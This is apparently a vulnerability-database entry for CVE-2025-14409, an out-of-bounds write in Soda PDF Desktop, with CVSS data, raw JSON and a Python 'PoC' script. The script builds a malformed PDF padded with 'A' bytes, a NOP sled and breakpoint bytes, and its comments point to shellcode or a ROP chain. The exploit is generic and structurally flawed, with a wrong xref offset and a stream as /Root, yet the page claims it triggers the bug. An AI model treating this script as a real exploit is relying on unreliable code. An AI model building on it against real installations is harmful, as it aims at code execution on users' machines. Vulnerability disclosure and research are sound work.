Security Vulnerability Report
中文
CVE-2025-14409 CVSS 7.8 HIGH

CVE-2025-14409

Published: 2025-12-23 22:15:48
Last Modified: 2026-01-21 20:56:37

Description

Soda PDF Desktop PDF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Soda PDF Desktop. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27120.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sodapdf:soda_pdf:14.0.509.23030:*:*:*:*:*:*:* - VULNERABLE
Soda PDF Desktop < 最新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14409 PoC - Soda PDF Desktop PDF Parsing Out-of-Bounds Write This PoC demonstrates the vulnerability in Soda PDF Desktop's PDF parsing. Generated for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27120 """ import struct import sys def create_malicious_pdf(output_path): """ Creates a malicious PDF file that triggers an out-of-bounds write during parsing in Soda PDF Desktop. """ # PDF Header pdf_content = b'%PDF-1.7\n' # Create an object with oversized data that triggers OOB write # The vulnerability exists in PDF stream parsing obj_num = 1 # Crafted stream object with data exceeding buffer boundaries # This is a simplified representation - actual exploitation requires # specific offset calculations based on target version malicious_data = b'\x41' * 10000 # Padding to trigger overflow # Add additional crafted data for exploitation # In real PoC, this would contain shellcode or ROP chain exploit_payload = b'\x90' * 100 # NOP sled exploit_payload += b'\xCC' * 50 # Breakpoint instruction (for testing) # Create the malicious stream object pdf_content += f'{obj_num} 0 obj\n'.encode() pdf_content += b'<< /Length ' + str(len(malicious_data + exploit_payload)).encode() + b' >>\n' pdf_content += b'stream\n' pdf_content += malicious_data + exploit_payload pdf_content += b'\nendstream\n' pdf_content += b'endobj\n' # Add cross-reference table xref_offset = len(pdf_content) pdf_content += b'xref\n' pdf_content += b'0 2\n' pdf_content += b'0000000000 65535 f \n' pdf_content += f'{xref_offset:010d} 00000 n \n'.encode() # Add trailer pdf_content += b'trailer\n' pdf_content += f'<< /Size 2 /Root 1 0 R >>\n'.encode() pdf_content += b'startxref\n' pdf_content += str(xref_offset).encode() + b'\n' pdf_content += b'%%EOF\n' # Write the malicious PDF with open(output_path, 'wb') as f: f.write(pdf_content) print(f'[+] Malicious PDF created: {output_path}') print(f'[+] File size: {len(pdf_content)} bytes') print(f'[!] This PoC triggers OOB write in Soda PDF Desktop') print(f'[!] Use only in controlled testing environment') if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python3 cve-2025-14409-poc.py <output.pdf>') sys.exit(1) output_file = sys.argv[1] create_malicious_pdf(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14409", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:47.630", "lastModified": "2026-01-21T20:56:37.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Soda PDF Desktop PDF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Soda PDF Desktop. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27120."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sodapdf:soda_pdf:14.0.509.23030:*:*:*:*:*:*:*", "matchCriteriaId": "ABC0E7B2-E242-4BD7-81E6-BA077750E564"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1082/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}